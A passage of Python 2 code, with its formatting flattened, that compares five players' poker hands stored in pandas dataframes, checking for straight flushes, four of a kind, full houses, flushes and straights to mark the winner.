list[1][0] and list[1][0] + 1 == list[2][0] and list[2][0] + 1 == list[3][0] and list[3][0] + 1 == list[ 4][0] and list[0][1] == list[1][1] and list[1][1] == list[2][1] and list[2][1] == list[3][1] and list[3][1] == list[4][1]: a4 = max(list[0][0], list[1][0], list[2][0], list[3][0], list[4][0]) SF = SF + 1 if list[1][0] + 1 == list[2][0] and list[2][0] + 1 == list[3][0] and list[3][0] + 1 == list[4][0] and list[4][0] + 1 == list[ 5][0] and list[1][1] == list[2][1] and list[2][1] == list[3][1] and list[3][1] == list[4][1] and list[4][1] == list[5][1]: a4 = max(list[5][0], list[1][0], list[2][0], list[3][0], list[4][0]) SF = SF + 1 # With Ace High list[0] = [df4.iloc[i * 4 + k - 1, 1], df4.iloc[i * 4 + k - 1, 0]] list[1] = [df4.iloc[i * 4 + k - 1, 3], df4.iloc[i * 4 + k - 1, 2]] list[2] = [df4.iloc[i * 4 + k - 1, 5], df4.iloc[i * 4 + k - 1, 4]] list[3] = [df4.iloc[i * 4 + k - 1, 7], df4.iloc[i * 4 + k - 1, 6]] list[4] = [df4.iloc[i * 4 + k - 1, 9], df4.iloc[i * 4 + k - 1, 8]] list[5] = [df4.iloc[i * 4 + k - 1, 11], df4.iloc[i * 4 + k - 1, 10]] list = sorted(list, key=lambda x: x[0]) if list[0][0] + 1 == list[1][0] and list[1][0] + 1 == list[2][0] and list[2][0] + 1 == list[3][0] and list[3][0] + 1 == list[ 4][0] and list[0][1] == list[1][1] and list[1][1] == list[2][1] and list[2][1] == list[3][1] and list[3][1] == list[4][1]: a4 = max(list[0][0], list[1][0], list[2][0], list[3][0], list[4][0]) SF = SF + 1 if list[1][0] + 1 == list[2][0] and list[2][0] + 1 == list[3][0] and list[3][0] + 1 == list[4][0] and list[4][0] + 1 == list[ 5][0] and list[1][1] == list[2][1] and list[2][1] == list[3][1] and list[3][1] == list[4][1] and list[4][1] == list[5][1]: a4 = max(list[5][0], list[1][0], list[2][0], list[3][0], list[4][0]) SF = SF + 1 # P5 Evaluation #With Ace Low list[0] = [df5.iloc[i * 4 + k - 1, 1], df5.iloc[i * 4 + k - 1, 0]] list[1] = [df5.iloc[i * 4 + k - 1, 3], df5.iloc[i * 4 + k - 1, 2]] list[2] = [df5.iloc[i * 4 + k - 1, 5], df5.iloc[i * 4 + k - 1, 4]] list[3] = [df5.iloc[i * 4 + k - 1, 7], df5.iloc[i * 4 + k - 1, 6]] list[4] = [df5.iloc[i * 4 + k - 1, 9], df5.iloc[i * 4 + k - 1, 8]] list[5] = [df5.iloc[i * 4 + k - 1, 11], df5.iloc[i * 4 + k - 1, 10]] for m in range(0, 6): if list[m][0] == 14: list[m][0] = 1 list = sorted(list, key=lambda x: x[0]) if list[0][0] + 1 == list[1][0] and list[1][0] + 1 == list[2][0] and list[2][0] + 1 == list[3][0] and list[3][0] + 1 == list[ 4][0] and list[0][1] == list[1][1] and list[1][1] == list[2][1] and list[2][1] == list[3][1] and list[3][1] == list[4][1]: a5 = max(list[0][0], list[1][0], list[2][0], list[3][0], list[4][0]) SF = SF + 1 if list[1][0] + 1 == list[2][0] and list[2][0] + 1 == list[3][0] and list[3][0] + 1 == list[4][0] and list[4][0] + 1 == list[ 5][0] and list[1][1] == list[2][1] and list[2][1] == list[3][1] and list[3][1] == list[4][1] and list[4][1] == list[5][1]: a5 = max(list[5][0], list[1][0], list[2][0], list[3][0], list[4][0]) SF = SF + 1 # With Ace High list[0] = [df5.iloc[i * 4 + k - 1, 1], df5.iloc[i * 4 + k - 1, 0]] list[1] = [df5.iloc[i * 4 + k - 1, 3], df5.iloc[i * 4 + k - 1, 2]] list[2] = [df5.iloc[i * 4 + k - 1, 5], df5.iloc[i * 4 + k - 1, 4]] list[3] = [df5.iloc[i * 4 + k - 1, 7], df5.iloc[i * 4 + k - 1, 6]] list[4] = [df5.iloc[i * 4 + k - 1, 9], df5.iloc[i * 4 + k - 1, 8]] list[5] = [df5.iloc[i * 4 + k - 1, 11], df5.iloc[i * 4 + k - 1, 10]] list = sorted(list, key=lambda x: x[0]) if list[0][0] + 1 == list[1][0] and list[1][0] + 1 == list[2][0] and list[2][0] + 1 == list[3][0] and list[3][0] + 1 == list[ 4][0] and list[0][1] == list[1][1] and list[1][1] == list[2][1] and list[2][1] == list[3][1] and list[3][1] == list[4][1]: a5 = max(list[0][0], list[1][0], list[2][0], list[3][0], list[4][0]) SF = SF + 1 if list[1][0] + 1 == list[2][0] and list[2][0] + 1 == list[3][0] and list[3][0] + 1 == list[4][0] and list[4][0] + 1 == list[ 5][0] and list[1][1] == list[2][1] and list[2][1] == list[3][1] and list[3][1] == list[4][1] and list[4][1] == list[5][1]: a5 = max(list[5][0], list[1][0], list[2][0], list[3][0], list[4][0]) SF = SF + 1 # Check for Straight flush if (SF > 0): print "Straight Flush" b = max(a1, a2, a3, a4, a5) if a1 == b: df1.iloc[i * 4 + k - 1, 14] = 1 if a2 == b: df2.iloc[i * 4 + k - 1, 14] = 1 if a3 == b: df3.iloc[i * 4 + k - 1, 14] = 1 if a4 == b: df4.iloc[i * 4 + k - 1, 14] = 1 if a5 == b: df5.iloc[i * 4 + k - 1, 14] = 1 else: # Check for four of a kind FK = 0 a1 = 0 a2 = 0 a3 = 0 a4 = 0 a5 = 0 # Evaluate for P1 list[0] = df1.iloc[i * 4 + k - 1, 1] list[1] = df1.iloc[i * 4 + k - 1, 3] list[2] = df1.iloc[i * 4 + k - 1, 5] list[3] = df1.iloc[i * 4 + k - 1, 7] list[4] = df1.iloc[i * 4 + k - 1, 9] list[5] = df1.iloc[i * 4 + k - 1, 11] for m in (list[0], list[1]): count = 0 for n in (list[0], list[1], list[2], list[3], list[4], list[5]): if m == n: count = count + 1 if count == 4: FK = FK + 1 a1 = m break if count == 4: break # Evaluate for P2 list[0] = df2.iloc[i * 4 + k - 1, 1] list[1] = df2.iloc[i * 4 + k - 1, 3] list[2] = df2.iloc[i * 4 + k - 1, 5] list[3] = df2.iloc[i * 4 + k - 1, 7] list[4] = df2.iloc[i * 4 + k - 1, 9] list[5] = df2.iloc[i * 4 + k - 1, 11] for m in (list[0], list[1]): count = 0 for n in (list[0], list[1], list[2], list[3], list[4], list[5]): if m == n: count = count + 1 if count == 4: FK = FK + 1 a2 = m break if count == 4: break # Evaluate for P3 list[0] = df3.iloc[i * 4 + k - 1, 1] list[1] = df3.iloc[i * 4 + k - 1, 3] list[2] = df3.iloc[i * 4 + k - 1, 5] list[3] = df3.iloc[i * 4 + k - 1, 7] list[4] = df3.iloc[i * 4 + k - 1, 9] list[5] = df3.iloc[i * 4 + k - 1, 11] for m in (list[0], list[1]): count = 0 for n in (list[0], list[1], list[2], list[3], list[4], list[5]): if m == n: count = count + 1 if count == 4: FK = FK + 1 a3 = m break if count == 4: break # Evaluate for P4 list[0] = df4.iloc[i * 4 + k - 1, 1] list[1] = df4.iloc[i * 4 + k - 1, 3] list[2] = df4.iloc[i * 4 + k - 1, 5] list[3] = df4.iloc[i * 4 + k - 1, 7] list[4] = df4.iloc[i * 4 + k - 1, 9] list[5] = df4.iloc[i * 4 + k - 1, 11] for m in (list[0], list[1]): count = 0 for n in (list[0], list[1], list[2], list[3], list[4], list[5]): if m == n: count = count + 1 if count == 4: FK = FK + 1 a4 = m break if count == 4: break # Evaluate for P5 list[0] = df5.iloc[i * 4 + k - 1, 1] list[1] = df5.iloc[i * 4 + k - 1, 3] list[2] = df5.iloc[i * 4 + k - 1, 5] list[3] = df5.iloc[i * 4 + k - 1, 7] list[4] = df5.iloc[i * 4 + k - 1, 9] list[5] = df5.iloc[i * 4 + k - 1, 11] for m in (list[0], list[1]): count = 0 for n in (list[0], list[1], list[2], list[3], list[4], list[5]): if m == n: count = count + 1 if count == 4: FK = FK + 1 a5 = m break if count == 4: break # Checking for Four of a kind if (FK > 0): print "Four of a kind" b = max(a1, a2, a3, a4, a5) if a1 == b: df1.iloc[i * 4 + k - 1, 14] = 1 if a2 == b: df2.iloc[i * 4 + k - 1, 14] = 1 if a3 == b: df3.iloc[i * 4 + k - 1, 14] = 1 if a4 == b: df4.iloc[i * 4 + k - 1, 14] = 1 if a5 == b: df5.iloc[i * 4 + k - 1, 14] = 1 else: # Check for full house FH = 0 a1i = 0 a1ii = 0 a2i = 0 a2ii = 0 a3i = 0 a3ii = 0 a4i = 0 a4ii = 0 a5i = 0 a5ii = 0 # Evaluate for P1 list[0] = df1.iloc[i * 4 + k - 1, 1] list[1] = df1.iloc[i * 4 + k - 1, 3] list[2] = df1.iloc[i * 4 + k - 1, 5] list[3] = df1.iloc[i * 4 + k - 1, 7] list[4] = df1.iloc[i * 4 + k - 1, 9] list[5] = df1.iloc[i * 4 + k - 1, 11] for m in (list[0], list[1]): count = 0 for n in (list[0], list[1], list[2], list[3], list[4], list[5]): if m == n: count = count + 1 if count == 3: for n in (list[0], list[1]): count = 0 if m == n: continue else: for o in (list[0], list[1], list[2], list[3], list[4], list[5]): if n == o: count = count + 1 if count == 2: FH = FH + 1 a1i = m a1ii = n break if count == 2: break # Evaluate for P2 list[0] = df2.iloc[i * 4 + k - 1, 1] list[1] = df2.iloc[i * 4 + k - 1, 3] list[2] = df2.iloc[i * 4 + k - 1, 5] list[3] = df2.iloc[i * 4 + k - 1, 7] list[4] = df2.iloc[i * 4 + k - 1, 9] list[5] = df2.iloc[i * 4 + k - 1, 11] for m in (list[0], list[1]): count = 0 for n in (list[0], list[1], list[2], list[3], list[4], list[5]): if m == n: count = count + 1 if count == 3: for n in (list[0], list[1]): count = 0 if m == n: continue else: for o in (list[0], list[1], list[2], list[3], list[4], list[5]): if n == o: count = count + 1 if count == 2: FH = FH + 1 a2i = m a2ii = n break # Evaluate for P3 list[0] = df3.iloc[i * 4 + k - 1, 1] list[1] = df3.iloc[i * 4 + k - 1, 3] list[2] = df3.iloc[i * 4 + k - 1, 5] list[3] = df3.iloc[i * 4 + k - 1, 7] list[4] = df3.iloc[i * 4 + k - 1, 9] list[5] = df3.iloc[i * 4 + k - 1, 11] for m in (list[0], list[1]): count = 0 for n in (list[0], list[1], list[2], list[3], list[4], list[5]): if m == n: count = count + 1 if count == 3: for n in (list[0], list[1]): count = 0 if m == n: continue else: for o in (list[0], list[1], list[2], list[3], list[4], list[5]): if n == o: count = count + 1 if count == 2: FH = FH + 1 a3i = m a3ii = n break # Evaluate for P4 list[0] = df4.iloc[i * 4 + k - 1, 1] list[1] = df4.iloc[i * 4 + k - 1, 3] list[2] = df4.iloc[i * 4 + k - 1, 5] list[3] = df4.iloc[i * 4 + k - 1, 7] list[4] = df4.iloc[i * 4 + k - 1, 9] list[5] = df4.iloc[i * 4 + k - 1, 11] for m in (list[0], list[1]): count = 0 for n in (list[0], list[1], list[2], list[3], list[4], list[5]): if m == n: count = count + 1 if count == 3: for n in (list[0], list[1]): count = 0 if m == n: continue else: for o in (list[0], list[1], list[2], list[3], list[4], list[5]): if n == o: count = count + 1 if count == 2: FH = FH + 1 a4i = m a4ii = n break # Evaluate for P5 list[0] = df5.iloc[i * 4 + k - 1, 1] list[1] = df5.iloc[i * 4 + k - 1, 3] list[2] = df5.iloc[i * 4 + k - 1, 5] list[3] = df5.iloc[i * 4 + k - 1, 7] list[4] = df5.iloc[i * 4 + k - 1, 9] list[5] = df5.iloc[i * 4 + k - 1, 11] for m in (list[0], list[1]): count = 0 for n in (list[0], list[1], list[2], list[3], list[4], list[5]): if m == n: count = count + 1 if count == 3: for n in (list[0], list[1]): count = 0 if m == n: continue else: for o in (list[0], list[1], list[2], list[3], list[4], list[5]): if n == o: count = count + 1 if count == 2: FH = FH + 1 a5i = m a5ii = n break # Evaluating for Full House if (FH > 1): print "Full House" b = max(a1i, a2i, a3i, a4i, a5i) c = 0 if a1i == b: c = c + 1 if a2i == b: c = c + 1 if a3i == b: c = c + 1 if a4i == b: c = c + 1 if a5i == b: c = c + 1 if c > 1: b = max(a1ii, a2ii, a3ii, a4ii, a5ii) if a1ii == b: df1.iloc[i * 4 + k - 1, 14] = 1 if a2ii == b: df2.iloc[i * 4 + k - 1, 14] = 1 if a3ii == b: df3.iloc[i * 4 + k - 1, 14] = 1 if a4ii == b: df4.iloc[i * 4 + k - 1, 14] = 1 if a5ii == b: df5.iloc[i * 4 + k - 1, 14] = 1 else: b = max(a1i, a2i, a3i, a4i, a5i) if a1i == b: df1.iloc[i * 4 + k - 1, 14] = 1 elif a2i == b: df2.iloc[i * 4 + k - 1, 14] = 1 elif a3i == b: df3.iloc[i * 4 + k - 1, 14] = 1 elif a4i == b: df4.iloc[i * 4 + k - 1, 14] = 1 elif a5i == b: df5.iloc[i * 4 + k - 1, 14] = 1 elif (FH == 1): print "Full House" b = max(a1i, a2i, a3i, a4i, a5i) if a1i == b: df1.iloc[i * 4 + k - 1, 14] = 1 elif a2i == b: df2.iloc[i * 4 + k - 1, 14] = 1 elif a3i == b: df3.iloc[i * 4 + k - 1, 14] = 1 elif a4i == b: df4.iloc[i * 4 + k - 1, 14] = 1 elif a5i == b: df5.iloc[i * 4 + k - 1, 14] = 1 else: # Evaluate for Flush F = 0 a1 = 0 a2 = 0 a3 = 0 a4 = 0 a5 = 0 # Evaluate P1 list[0] = df1.iloc[i * 4 + k - 1, 0] list[1] = df1.iloc[i * 4 + k - 1, 2] list[2] = df1.iloc[i * 4 + k - 1, 4] list[3] = df1.iloc[i * 4 + k - 1, 6] list[4] = df1.iloc[i * 4 + k - 1, 8] list[5] = df1.iloc[i * 4 + k - 1, 10] if list[0] == list[1] and list[1] == list[2] and list[2] == list[3] and list[3] == list[4]: F = F + 1 a1 = max(df1.iloc[i * 4 + k - 1, 1], df1.iloc[i * 4 + k - 1, 3], df1.iloc[i * 4 + k - 1, 5], df1.iloc[i * 4 + k - 1, 7], df1.iloc[i * 4 + k - 1, 9]) elif list[5] == list[1] and list[1] == list[2] and list[2] == list[3] and list[3] == list[4]: F = F + 1 a1 = max(df1.iloc[i * 4 + k - 1, 11], df1.iloc[i * 4 + k - 1, 3], df1.iloc[i * 4 + k - 1, 5], df1.iloc[i * 4 + k - 1, 7], df1.iloc[i * 4 + k - 1, 9]) elif list[0] == list[5] and list[5] == list[2] and list[2] == list[3] and list[3] == list[4]: F = F + 1 a1 = max(df1.iloc[i * 4 + k - 1, 1], df1.iloc[i * 4 + k - 1, 11], df1.iloc[i * 4 + k - 1, 5], df1.iloc[i * 4 + k - 1, 7], df1.iloc[i * 4 + k - 1, 9]) elif list[0] == list[1] and list[1] == list[5] and list[5] == list[3] and list[3] == list[4]: F = F + 1 a1 = max(df1.iloc[i * 4 + k - 1, 1], df1.iloc[i * 4 + k - 1, 3], df1.iloc[i * 4 + k - 1, 11], df1.iloc[i * 4 + k - 1, 7], df1.iloc[i * 4 + k - 1, 9]) elif list[0] == list[1] and list[1] == list[2] and list[2] == list[5] and list[5] == list[4]: F = F + 1 a1 = max(df1.iloc[i * 4 + k - 1, 1], df1.iloc[i * 4 + k - 1, 3], df1.iloc[i * 4 + k - 1, 5], df1.iloc[i * 4 + k - 1, 11], df1.iloc[i * 4 + k - 1, 9]) elif list[0] == list[1] and list[1] == list[2] and list[2] == list[3] and list[3] == list[5]: F = F + 1 a1 = max(df1.iloc[i * 4 + k - 1, 1], df1.iloc[i * 4 + k - 1, 3], df1.iloc[i * 4 + k - 1, 5], df1.iloc[i * 4 + k - 1, 7], df1.iloc[i * 4 + k - 1, 11]) # Evaluate P2 list[0] = df2.iloc[i * 4 + k - 1, 0] list[1] = df2.iloc[i * 4 + k - 1, 2] list[2] = df2.iloc[i * 4 + k - 1, 4] list[3] = df2.iloc[i * 4 + k - 1, 6] list[4] = df2.iloc[i * 4 + k - 1, 8] list[5] = df2.iloc[i * 4 + k - 1, 10] if list[0] == list[1] and list[1] == list[2] and list[2] == list[3] and list[3] == list[4]: F = F + 1 a2 = max(df2.iloc[i * 4 + k - 1, 1], df2.iloc[i * 4 + k - 1, 3], df2.iloc[i * 4 + k - 1, 5], df2.iloc[i * 4 + k - 1, 7], df2.iloc[i * 4 + k - 1, 9]) elif list[5] == list[1] and list[1] == list[2] and list[2] == list[3] and list[3] == list[ 4]: F = F + 1 a2 = max(df2.iloc[i * 4 + k - 1, 11], df2.iloc[i * 4 + k - 1, 3], df2.iloc[i * 4 + k - 1, 5], df2.iloc[i * 4 + k - 1, 7], df2.iloc[i * 4 + k - 1, 9]) elif list[0] == list[5] and list[5] == list[2] and list[2] == list[3] and list[3] == list[ 4]: F = F + 1 a2 = max(df2.iloc[i * 4 + k - 1, 1], df2.iloc[i * 4 + k - 1, 11], df2.iloc[i * 4 + k - 1, 5], df2.iloc[i * 4 + k - 1, 7], df2.iloc[i * 4 + k - 1, 9]) elif list[0] == list[1] and list[1] == list[5] and list[5] == list[3] and list[3] == list[ 4]: F = F + 1 a2 = max(df2.iloc[i * 4 + k - 1, 1], df2.iloc[i * 4 + k - 1, 3], df2.iloc[i * 4 + k - 1, 11], df2.iloc[i * 4 + k - 1, 7], df2.iloc[i * 4 + k - 1, 9]) elif list[0] == list[1] and list[1] == list[2] and list[2] == list[5] and list[5] == list[ 4]: F = F + 1 a2 = max(df2.iloc[i * 4 + k - 1, 1], df2.iloc[i * 4 + k - 1, 3], df2.iloc[i * 4 + k - 1, 5], df2.iloc[i * 4 + k - 1, 11], df2.iloc[i * 4 + k - 1, 9]) elif list[0] == list[1] and list[1] == list[2] and list[2] == list[3] and list[3] == list[ 5]: F = F + 1 a2 = max(df2.iloc[i * 4 + k - 1, 1], df2.iloc[i * 4 + k - 1, 3], df2.iloc[i * 4 + k - 1, 5], df2.iloc[i * 4 + k - 1, 7], df2.iloc[i * 4 + k - 1, 11]) # Evaluate P3 list[0] = df3.iloc[i * 4 + k - 1, 0] list[1] = df3.iloc[i * 4 + k - 1, 2] list[2] = df3.iloc[i * 4 + k - 1, 4] list[3] = df3.iloc[i * 4 + k - 1, 6] list[4] = df3.iloc[i * 4 + k - 1, 8] list[5] = df3.iloc[i * 4 + k - 1, 10] if list[0] == list[1] and list[1] == list[2] and list[2] == list[3] and list[3] == list[4]: F = F + 1 a3 = max(df3.iloc[i * 4 + k - 1, 1], df3.iloc[i * 4 + k - 1, 3], df3.iloc[i * 4 + k - 1, 5], df3.iloc[i * 4 + k - 1, 7], df3.iloc[i * 4 + k - 1, 9]) elif list[5] == list[1] and list[1] == list[2] and list[2] == list[3] and list[3] == list[ 4]: F = F + 1 a3 = max(df3.iloc[i * 4 + k - 1, 11], df3.iloc[i * 4 + k - 1, 3], df3.iloc[i * 4 + k - 1, 5], df3.iloc[i * 4 + k - 1, 7], df3.iloc[i * 4 + k - 1, 9]) elif list[0] == list[5] and list[5] == list[2] and list[2] == list[3] and list[3] == list[ 4]: F = F + 1 a3 = max(df3.iloc[i * 4 + k - 1, 1], df3.iloc[i * 4 + k - 1, 11], df3.iloc[i * 4 + k - 1, 5], df3.iloc[i * 4 + k - 1, 7], df3.iloc[i * 4 + k - 1, 9]) elif list[0] == list[1] and list[1] == list[5] and list[5] == list[3] and list[3] == list[ 4]: F = F + 1 a3 = max(df3.iloc[i * 4 + k - 1, 1], df3.iloc[i * 4 + k - 1, 3], df3.iloc[i * 4 + k - 1, 11], df3.iloc[i * 4 + k - 1, 7], df3.iloc[i * 4 + k - 1, 9]) elif list[0] == list[1] and list[1] == list[2] and list[2] == list[5] and list[5] == list[ 4]: F = F + 1 a3 = max(df3.iloc[i * 4 + k - 1, 1], df3.iloc[i * 4 + k - 1, 3], df3.iloc[i * 4 + k - 1, 5], df3.iloc[i * 4 + k - 1, 11], df3.iloc[i * 4 + k - 1, 9]) elif list[0] == list[1] and list[1] == list[2] and list[2] == list[3] and list[3] == list[ 5]: F = F + 1 a3 = max(df3.iloc[i * 4 + k - 1, 1], df3.iloc[i * 4 + k - 1, 3], df3.iloc[i * 4 + k - 1, 5], df3.iloc[i * 4 + k - 1, 7], df3.iloc[i * 4 + k - 1, 11]) # Evaluate P4 list[0] = df4.iloc[i * 4 + k - 1, 0] list[1] = df4.iloc[i * 4 + k - 1, 2] list[2] = df4.iloc[i * 4 + k - 1, 4] list[3] = df4.iloc[i * 4 + k - 1, 6] list[4] = df4.iloc[i * 4 + k - 1, 8] list[5] = df4.iloc[i * 4 + k - 1, 10] if list[0] == list[1] and list[1] == list[2] and list[2] == list[3] and list[3] == list[4]: F = F + 1 a4 = max(df4.iloc[i * 4 + k - 1, 1], df4.iloc[i * 4 + k - 1, 3], df4.iloc[i * 4 + k - 1, 5], df4.iloc[i * 4 + k - 1, 7], df4.iloc[i * 4 + k - 1, 9]) elif list[5] == list[1] and list[1] == list[2] and list[2] == list[3] and list[3] == list[ 4]: F = F + 1 a4 = max(df4.iloc[i * 4 + k - 1, 11], df4.iloc[i * 4 + k - 1, 3], df4.iloc[i * 4 + k - 1, 5], df4.iloc[i * 4 + k - 1, 7], df4.iloc[i * 4 + k - 1, 9]) elif list[0] == list[5] and list[5] == list[2] and list[2] == list[3] and list[3] == list[ 4]: F = F + 1 a4 = max(df4.iloc[i * 4 + k - 1, 1], df4.iloc[i * 4 + k - 1, 11], df4.iloc[i * 4 + k - 1, 5], df4.iloc[i * 4 + k - 1, 7], df4.iloc[i * 4 + k - 1, 9]) elif list[0] == list[1] and list[1] == list[5] and list[5] == list[3] and list[3] == list[ 4]: F = F + 1 a4 = max(df4.iloc[i * 4 + k - 1, 1], df4.iloc[i * 4 + k - 1, 3], df4.iloc[i * 4 + k - 1, 11], df4.iloc[i * 4 + k - 1, 7], df4.iloc[i * 4 + k - 1, 9]) elif list[0] == list[1] and list[1] == list[2] and list[2] == list[5] and list[5] == list[ 4]: F = F + 1 a4 = max(df4.iloc[i * 4 + k - 1, 1], df4.iloc[i * 4 + k - 1, 3], df4.iloc[i * 4 + k - 1, 5], df4.iloc[i * 4 + k - 1, 11], df4.iloc[i * 4 + k - 1, 9]) elif list[0] == list[1] and list[1] == list[2] and list[2] == list[3] and list[3] == list[ 5]: F = F + 1 a4 = max(df4.iloc[i * 4 + k - 1, 1], df4.iloc[i * 4 + k - 1, 3], df4.iloc[i * 4 + k - 1, 5], df4.iloc[i * 4 + k - 1, 7], df4.iloc[i * 4 + k - 1, 11]) # Evaluate P5 list[0] = df5.iloc[i * 4 + k - 1, 0] list[1] = df5.iloc[i * 4 + k - 1, 2] list[2] = df5.iloc[i * 4 + k - 1, 4] list[3] = df5.iloc[i * 4 + k - 1, 6] list[4] = df5.iloc[i * 4 + k - 1, 8] list[5] = df5.iloc[i * 4 + k - 1, 10] if list[0] == list[1] and list[1] == list[2] and list[2] == list[3] and list[3] == list[4]: F = F + 1 a5 = max(df5.iloc[i * 4 + k - 1, 1], df5.iloc[i * 4 + k - 1, 3], df5.iloc[i * 4 + k - 1, 5], df5.iloc[i * 4 + k - 1, 7], df5.iloc[i * 4 + k - 1, 9]) elif list[5] == list[1] and list[1] == list[2] and list[2] == list[3] and list[3] == list[ 4]: F = F + 1 a5 = max(df5.iloc[i * 4 + k - 1, 11], df5.iloc[i * 4 + k - 1, 3], df5.iloc[i * 4 + k - 1, 5], df5.iloc[i * 4 + k - 1, 7], df5.iloc[i * 4 + k - 1, 9]) elif list[0] == list[5] and list[5] == list[2] and list[2] == list[3] and list[3] == list[ 4]: F = F + 1 a5 = max(df5.iloc[i * 4 + k - 1, 1], df5.iloc[i * 4 + k - 1, 11], df5.iloc[i * 4 + k - 1, 5], df5.iloc[i * 4 + k - 1, 7], df5.iloc[i * 4 + k - 1, 9]) elif list[0] == list[1] and list[1] == list[5] and list[5] == list[3] and list[3] == list[ 4]: F = F + 1 a5 = max(df5.iloc[i * 4 + k - 1, 1], df5.iloc[i * 4 + k - 1, 3], df5.iloc[i * 4 + k - 1, 11], df5.iloc[i * 4 + k - 1, 7], df5.iloc[i * 4 + k - 1, 9]) elif list[0] == list[1] and list[1] == list[2] and list[2] == list[5] and list[5] == list[ 4]: F = F + 1 a5 = max(df5.iloc[i * 4 + k - 1, 1], df5.iloc[i * 4 + k - 1, 3], df5.iloc[i * 4 + k - 1, 5], df5.iloc[i * 4 + k - 1, 11], df5.iloc[i * 4 + k - 1, 9]) elif list[0] == list[1] and list[1] == list[2] and list[2] == list[3] and list[3] == list[ 5]: F = F + 1 a5 = max(df5.iloc[i * 4 + k - 1, 1], df5.iloc[i * 4 + k - 1, 3], df5.iloc[i * 4 + k - 1, 5], df5.iloc[i * 4 + k - 1, 7], df5.iloc[i * 4 + k - 1, 11]) if F > 0: print "Flush" b = max(a1, a2, a3, a4, a5) if a1 == b: df1.iloc[i * 4 + k - 1, 14] = 1 elif a2 == b: df2.iloc[i * 4 + k - 1, 14] = 1 elif a3 == b: df3.iloc[i * 4 + k - 1, 14] = 1 elif a4 == b: df4.iloc[i * 4 + k - 1, 14] = 1 elif a5 == b: df5.iloc[i * 4 + k - 1, 14] = 1 else: # Check for Straight SF = 0 a1 = 0 a2 = 0 a3 = 0 a4 = 0 a5 = 0 # P1 Evaluation # With Ace Low list[0] = df1.iloc[i * 4 + k - 1, 1] list[1] = df1.iloc[i * 4 + k - 1, 3] list[2] = df1.iloc[i * 4 + k - 1, 5] list[3] = df1.iloc[i * 4 + k - 1, 7] list[4] = df1.iloc[i * 4 + k - 1, 9] list[5] = df1.iloc[i * 4 + k - 1, 11] for m in range(0, 6): if list[m] == 14: list[m] = 1 list = np.sort(list).tolist() if list[0] + 1 == list[1] and list[1] + 1 == list[2] and list[2] + 1 == list[3] and \ list[3] + 1 == list[ 4]: a1 = max(list[0], list[1], list[2], list[3], list[4]) SF = SF + 1 if list[1] + 1 == list[2] and list[2] + 1 == list[3] and list[3] + 1 == list[4] and \ list[4] + 1 == list[5]: a1 = max(list[5], list[1], list[2], list[3], list[4]) SF = SF + 1 # With Ace High list[0] = df1.iloc[i * 4 + k - 1, 1] list[1] = df1.iloc[i * 4 + k - 1, 3] list[2] = df1.iloc[i * 4 + k - 1, 5] list[3] = df1.iloc[i * 4 + k - 1, 7] list[4] = df1.iloc[i * 4 + k - 1, 9] list[5] = df1.iloc[i * 4 + k - 1, 11] list = np.sort(list).tolist() if list[0] + 1 == list[1] and list[1] + 1 == list[2] and list[2] + 1 == list[3] and \ list[3] + 1 == list[ 4]: a1 = max(list[0], list[1], list[2], list[3], list[4]) SF = SF + 1 if list[1] + 1 == list[2] and list[2] + 1 == list[3] and list[3] + 1 == list[4] and \ list[4] + 1 == list[ 5]: a1 = max(list[5], list[1], list[2], list[3], list[4]) SF = SF + 1 # P2 Evaluation # With Ace Low list[0] = df2.iloc[i * 4 + k - 1, 1] list[1] = df2.iloc[i * 4 + k - 1, 3] list[2] = df2.iloc[i * 4 + k - 1, 5] list[3] = df2.iloc[i * 4 + k - 1, 7] list[4] = df2.iloc[i * 4 + k - 1, 9] list[5] = df2.iloc[i * 4 + k - 1, 11] for m in range(0, 5): if list[m] == 14: list[m] = 1 list = np.sort(list).tolist() if list[0] + 1 == list[1] and list[1] + 1 == list[2] and list[2] + 1 == list[3] and \ list[3] + 1 == list[ 4]: a2 = max(list[0], list[1], list[2], list[3], list[4]) SF = SF + 1 if list[1] + 1 == list[2] and list[2] + 1 == list[3] and list[3] + 1 == list[4] and \ list[4] + 1 == \ list[ 5]: a2 = max(list[5], list[1], list[2], list[3], list[4]) SF = SF + 1 # With Ace High list[0] = df2.iloc[i * 4 + k - 1, 1] list[1] = df2.iloc[i * 4 + k - 1, 3] list[2] = df2.iloc[i * 4 + k - 1, 5] list[3] = df2.iloc[i * 4 + k - 1, 7] list[4] = df2.iloc[i * 4 + k - 1, 9] list[5] = df2.iloc[i * 4 + k - 1, 11] list = np.sort(list).tolist() if list[0] + 1 == list[1] and list[1] + 1 == list[2] and list[2] + 1 == list[3] and \ list[3] + 1 == list[ 4]: a2 = max(list[0], list[1], list[2], list[3], list[4]) SF = SF + 1 if list[1] + 1 == list[2] and list[2] + 1 == list[3] and list[3] + 1 == list[4] and \ list[4] + 1 == \ list[ 5]: a2 = max(list[5], list[1], list[2], list[3], list[4]) SF = SF + 1 # P3 Evaluation # With Ace Low list[0] = df3.iloc[i * 4 + k - 1, 1] list[1] = df3.iloc[i * 4 + k - 1, 3] list[2] = df3.iloc[i * 4 + k - 1, 5] list[3] = df3.iloc[i * 4 + k - 1, 7] list[4] = df3.iloc[i * 4 + k - 1, 9] list[5] = df3.iloc[i * 4 + k - 1, 11] for m in range(0, 5): if list[m] == 14: list[m] = 1 list = np.sort(list).tolist() if list[0] + 1 == list[1] and list[1] + 1 == list[2] and list[2] + 1 == list[3] and \ list[3] + 1 == \ list[ 4]: a3 = max(list[0], list[1], list[2], list[3], list[4]) SF = SF + 1 if list[1] + 1 == list[2] and list[2] + 1 == list[3] and list[3] + 1 == list[4] and \ list[4] + 1 == \ list[ 5]: a3 = max(list[5], list[1], list[2], list[3], list[4]) SF = SF + 1 # With Ace High list[0] = df3.iloc[i * 4 + k - 1, 1] list[1] = df3.iloc[i * 4 + k - 1, 3] list[2] = df3.iloc[i * 4 + k - 1, 5] list[3] = df3.iloc[i * 4 + k - 1, 7] list[4] = df3.iloc[i * 4 + k - 1, 9] list[5] = df3.iloc[i * 4 + k - 1, 11] list = np.sort(list).tolist() if list[0] + 1 == list[1] and list[1] + 1 == list[2] and list[2] + 1 == list[3] and \ list[3] + 1 == list[ 4]: a3 = max(list[0], list[1], list[2], list[3], list[4]) SF = SF + 1 if list[1] + 1 == list[2] and list[2] + 1 == list[3] and list[3] + 1 == list[4] and \ list[4] + 1 == \ list[ 5]: a3 = max(list[5], list[1], list[2], list[3], list[4]) SF = SF + 1 # P4 Evaluation # With Ace Low list[0] = df4.iloc[i * 4 + k - 1, 1] list[1] = df4.iloc[i * 4 + k - 1, 3] list[2] = df4.iloc[i * 4 + k - 1, 5] list[3] = 